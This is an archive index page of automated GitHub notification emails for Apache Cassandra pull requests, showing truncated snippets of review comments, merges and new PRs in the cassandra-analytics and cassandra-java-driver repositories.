yifan-c commented on code in PR #80: URL: https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757674951 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/coordinatedwrite/MultiClusterInfoProvider.java: ## @@ -0,0 +1,45 @@ +/* + * Lic

Re: [PR] CASSANDRA-19910: Support data partitioning for multiple clusters coordinated write [cassandra-analytics]

2024-09-12 Thread via GitHub
yifan-c commented on code in PR #80: URL: https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757679225 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/coordinatedwrite/CassandraClusterInfoGroup.java: ## @@ -0,0 +1,300 @@ +/* + * L

Re: [PR] CASSANDRA-19910: Support data partitioning for multiple clusters coordinated write [cassandra-analytics]

2024-09-12 Thread via GitHub
yifan-c commented on code in PR #80: URL: https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757680508 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/coordinatedwrite/CassandraClusterInfoGroup.java: ## @@ -0,0 +1,300 @@ +/* + * L

Re: [PR] CASSANDRA-19910: Support data partitioning for multiple clusters coordinated write [cassandra-analytics]

2024-09-12 Thread via GitHub
yifan-c commented on code in PR #80: URL: https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757684085 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/coordinatedwrite/CassandraClusterInfoGroup.java: ## @@ -0,0 +1,300 @@ +/* + * L

Re: [PR] CASSANDRA-19910: Support data partitioning for multiple clusters coordinated write [cassandra-analytics]

2024-09-13 Thread via GitHub
yifan-c commented on code in PR #80: URL: https://github.com/apache/cassandra-analytics/pull/80#discussion_r1759270780 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/coordinatedwrite/CassandraClusterInfoGroup.java: ## @@ -0,0 +1,300 @@ +/* + * L

[PR] CASSANDRA-19923: Add transport extension for coordinated write [cassandra-analytics]

2024-09-13 Thread via GitHub
yifan-c opened a new pull request, #83: URL: https://github.com/apache/cassandra-analytics/pull/83 (no comment) -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscri

Re: [PR] CASSANDRA-19923: Add transport extension for coordinated write [cassandra-analytics]

2024-09-13 Thread via GitHub
yifan-c commented on PR #83: URL: https://github.com/apache/cassandra-analytics/pull/83#issuecomment-2350465869 After #80 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment.

Re: [PR] Ninja fix for CASSANDRA-19815 [cassandra-analytics]

2024-09-16 Thread via GitHub
jberragan closed pull request #81: Ninja fix for CASSANDRA-19815 URL: https://github.com/apache/cassandra-analytics/pull/81 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To u

Re: [PR] Ninja fix for CASSANDRA-19815 [cassandra-analytics]

2024-09-16 Thread via GitHub
jberragan commented on PR #81: URL: https://github.com/apache/cassandra-analytics/pull/81#issuecomment-2353411319 Merged in. -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment.

Re: [PR] CASSANDRA-19457: Object reference in Micrometer metrics prevent GC from reclaiming Session instances [cassandra-java-driver]

2024-04-01 Thread via GitHub
SiyaoIsHiding commented on PR #1916: URL: https://github.com/apache/cassandra-java-driver/pull/1916#issuecomment-2030236325 I just realized there is already such a method doing the same thing: https://github.com/apache/cassandra-java-driver/blob/98e25040f5e69db1092ccafb6665d8e92779cc46/m

Re: [PR] CASSANDRA-19507 Fix bulk reads of multiple tables that potentially have the same data file name [cassandra-analytics]

2024-04-01 Thread via GitHub
frankgh merged PR #47: URL: https://github.com/apache/cassandra-analytics/pull/47 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: commits-unsubscr...@ca

Re: [PR] CASSANDRA-19340 - Support writing UDTs [cassandra-analytics]

2024-04-01 Thread via GitHub
JeetKunDoug commented on PR #45: URL: https://github.com/apache/cassandra-analytics/pull/45#issuecomment-2030455448 Rebased/squashed/fixed CHANGES.txt conflict (no other changes/conflicts) -- This is an automated message from the Apache Git Service. To respond to the message, please log o

Re: [PR] CASSANDRA-19340 - Support writing UDTs [cassandra-analytics]

2024-04-01 Thread via GitHub
frankgh commented on code in PR #45: URL: https://github.com/apache/cassandra-analytics/pull/45#discussion_r1541520438 ## cassandra-analytics-core/src/test/java/org/apache/cassandra/spark/bulkwriter/MockBulkWriterContext.java: ## @@ -77,6 +79,7 @@ public class MockBulkWriterCon

Re: [PR] CASSANDRA-19340 - Support writing UDTs [cassandra-analytics]

2024-04-01 Thread via GitHub
frankgh commented on code in PR #45: URL: https://github.com/apache/cassandra-analytics/pull/45#discussion_r1546825765 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/CassandraBulkWriterContext.java: ## @@ -92,11 +92,17 @@ protected CassandraBulk

Re: [PR] CASSANDRA-19457: Object reference in Micrometer metrics prevent GC from reclaiming Session instances [cassandra-java-driver]

2024-04-01 Thread via GitHub
SiyaoIsHiding commented on PR #1916: URL: https://github.com/apache/cassandra-java-driver/pull/1916#issuecomment-2030578292 Questions: 1. I tried hard, but I could not find an example of how to use MicroProfile with our driver, especially how to instantiate a MicroProfile registry. May I

Re: [PR] CASSANDRA-19340 - Support writing UDTs [cassandra-analytics]

2024-04-02 Thread via GitHub
frankgh merged PR #45: URL: https://github.com/apache/cassandra-analytics/pull/45 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: commits-unsubscr...@ca

[PR] CASSANDRA-19513: Refactor Cassandra bridge [cassandra-analytics]

2024-04-02 Thread via GitHub
frankgh opened a new pull request, #48: URL: https://github.com/apache/cassandra-analytics/pull/48 This commit splits the bridge implementation from the shaded `cassandra-all` library. This separation allows for better integration of a different `cassandra-all` implementation. Additionally,

Re: [PR] CASSANDRA-19513: Refactor Cassandra bridge [cassandra-analytics]

2024-04-02 Thread via GitHub
frankgh commented on code in PR #48: URL: https://github.com/apache/cassandra-analytics/pull/48#discussion_r1548620059 ## scripts/relocate-dtest-dependencies.pom: ## @@ -114,12 +114,12 @@

Re: [PR] CASSANDRA-19513: Refactor Cassandra bridge [cassandra-analytics]

2024-04-02 Thread via GitHub
frankgh commented on code in PR #48: URL: https://github.com/apache/cassandra-analytics/pull/48#discussion_r1548642100 ## cassandra-analytics-core/build.gradle: ## @@ -19,171 +19,152 @@ import java.nio.file.Paths * under the License. */ -project(':cassandra-analytics-core

<    1   2   3   4   5   6   7   8   9   10   >